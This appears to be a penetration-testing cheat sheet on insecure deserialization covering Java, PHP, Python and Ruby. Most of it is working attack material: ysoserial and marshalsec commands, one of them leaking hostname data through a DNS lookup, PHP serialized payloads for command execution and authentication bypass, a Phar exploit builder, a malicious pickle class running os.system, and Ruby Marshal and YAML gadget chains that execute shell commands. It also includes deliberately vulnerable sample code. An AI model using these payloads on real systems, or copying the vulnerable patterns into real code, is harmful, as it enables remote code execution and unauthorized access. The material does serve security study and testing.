Java Deserialization

Detection

  • "AC ED 00 05" in Hex
  • "rO0" in Base64
  • Content-type = "application/x-java-serialized-object"
  • "H4sIAAAAAAAAAJ" in gzip(base64)

Exploit

ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' > payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
payloadauthordependenciesimpact (if not RCE)
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
Clojure@JackOfMostTradesclojure:1.8.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4file uploading
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient@mbechler
JRMPListener@mbechler
JSON1@mbechlerjson-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME@mbechlerrome:1.0
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS@gebljre only vuln detect
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4

Burp extensions using ysoserial

Other tools

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

 where
  -a - generates/tests all payloads for that marshaller
  -t - runs in test mode, unmarshalling the generated payloads after generating them.
  -v - verbose mode, e.g. also shows the generated payload in test mode.
  gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
  arguments - Gadget specific arguments

Payload generators for the following marshallers are included:

MarshallerGadget Impact
BlazeDSAMF(0|3|X)JDK only escalation to Java serialization
various third party libraries RCEs
Hessian|Burlapvarious third party RCEs
Castordependency library RCE
Jacksonpossible JDK only RCE, various third party RCEs
Javayet another third party RCE
JsonIOJDK only RCE
JYAMLJDK only RCE
Kryothird party RCEs
KryoAltStrategyJDK only RCE
Red5AMF(0|3)JDK only RCE
SnakeYAMLJDK only RCEs
XStreamJDK only RCEs
YAMLBeansthird party RCE

References

PHP Object injection

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

The following magic methods will help you for a PHP Object injection

  • __wakeup() when an object is unserialized.
  • __destruct() when an object is deleted.
  • __toString() when an object is converted to a string.

Also you should check the Wrapper Phar:// in File Inclusion which use a PHP object injection.

Summary

General concept

Vulnerable code:

<?php 
    class PHPObjectInjection{
        public $inject;
        function __construct(){
        }
        function __wakeup(){
            if(isset($this->inject)){
                eval($this->inject);
            }
        }
    }
    if(isset($_REQUEST['r'])){  
        $var1=unserialize($_REQUEST['r']);
        if(is_array($var1)){
            echo "<br/>".$var1[0]." - ".$var1[1];
        }
    }
    else{
        echo ""; # nothing happens here
    }
?>

Craft a payload using existing code inside the application.

# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}

# Command execution
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"

Authentication bypass

Type juggling

Vulnerable code:

<?php
$data = unserialize($_COOKIE['auth']);

if ($data['username'] == $adminName && $data['password'] == $adminPassword) {
    $admin = true;
} else {
    $admin = false;
}

Payload:

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

Because true == "str" is true.

Object reference

Vulnerable code:

<?php
class Object
{
  var $guess;
  var $secretCode;
}

$obj = unserialize($_GET['input']);

if($obj) {
    $obj->secretCode = rand(500000,999999);
    if($obj->guess === $obj->secretCode) {
        echo "Win";
    }
}
?>

Payload:

O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}

We can do an array to like this:

a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}

Finding and using gadgets

Also called "PHP POP Chains", they can be used to gain RCE on the system.

PHPGGC is a tool built to generate the payload based on several frameworks:

  • Laravel
  • Symfony
  • SwiftMailer
  • Monolog
  • SlimPHP
  • Doctrine
  • Guzzle
phpggc monolog/rce1 'phpinfo();' -s

PHP Phar Deserialization

Using phar:// wrapper, one can trigger a deserialization on the specified file like in file_get_contents("phar://./archives/app.phar").

A valid PHAR includes four elements:

  1. Stub
  2. Manifest
  3. File Contents
  4. Signature

Example of a Phar creation in order to exploit a custom PDFGenerator.

<?php
class PDFGenerator { }

//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Real world examples

References

Python Deserialization

Pickle

The following code is a simple example of using cPickle in order to generate an auth_token which is a serialized User object.

import cPickle
from base64 import b64encode, b64decode

class User:
    def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank     = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token)

The vulnerability is introduced when a token is loaded from an user input.

new_token = raw_input("New Auth Token : ")
token = cPickle.loads(b64decode(new_token))
print "Welcome {}".format(token.username)

Python 2.7 documentation clearly states Pickle should never be used with untrusted sources. Let's create a malicious data that will execute arbitrary code on the server.

The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

import cPickle
from base64 import b64encode, b64decode

class Evil(object):
    def __reduce__(self):
        return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)

References

Ruby Deserialization

Marshal.load

Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done

Yaml.load

Vulnerable code

require "yaml"
YAML.load(File.read("p.yml"))

Exploitation code

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

References